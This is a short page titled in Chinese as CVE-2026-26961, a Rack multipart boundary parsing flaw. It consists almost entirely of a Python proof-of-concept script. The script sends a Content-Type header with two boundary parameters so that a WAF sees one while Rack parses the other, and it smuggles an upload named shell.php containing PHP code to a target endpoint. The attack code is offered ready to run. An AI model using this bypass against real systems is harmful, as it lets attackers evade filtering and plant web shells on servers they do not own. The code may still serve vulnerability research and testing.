CVE-2026-26961 Rack multipart边界解析漏洞

import requests # Target URL url = "http://vulnerable-app/upload" # The Content-Type header contains two boundaries. # The WAF/Proxy might parse 'boundary=----WebKitFormBoundaryA' # The vulnerable Rack parses 'boundary=----WebKitFormBoundaryB' headers = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryA; boundary=----WebKitFormBoundaryB" } # Construct body based on the LAST boundary (what Rack sees) # This payload might be blocked if WAF saw it, but WAF is looking at Boundary A logic. payload = ( "------WebKitFormBoundaryB\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" "Content-Type: application/x-httpd-php\r\n" "\r\n" "<?php phpinfo(); ?>\r\n" "------WebKitFormBoundaryB--\r\n" ) response = requests.post(url, headers=headers, data=payload) print(f"Status: {response.status_code}") print("Response:") print(response.text)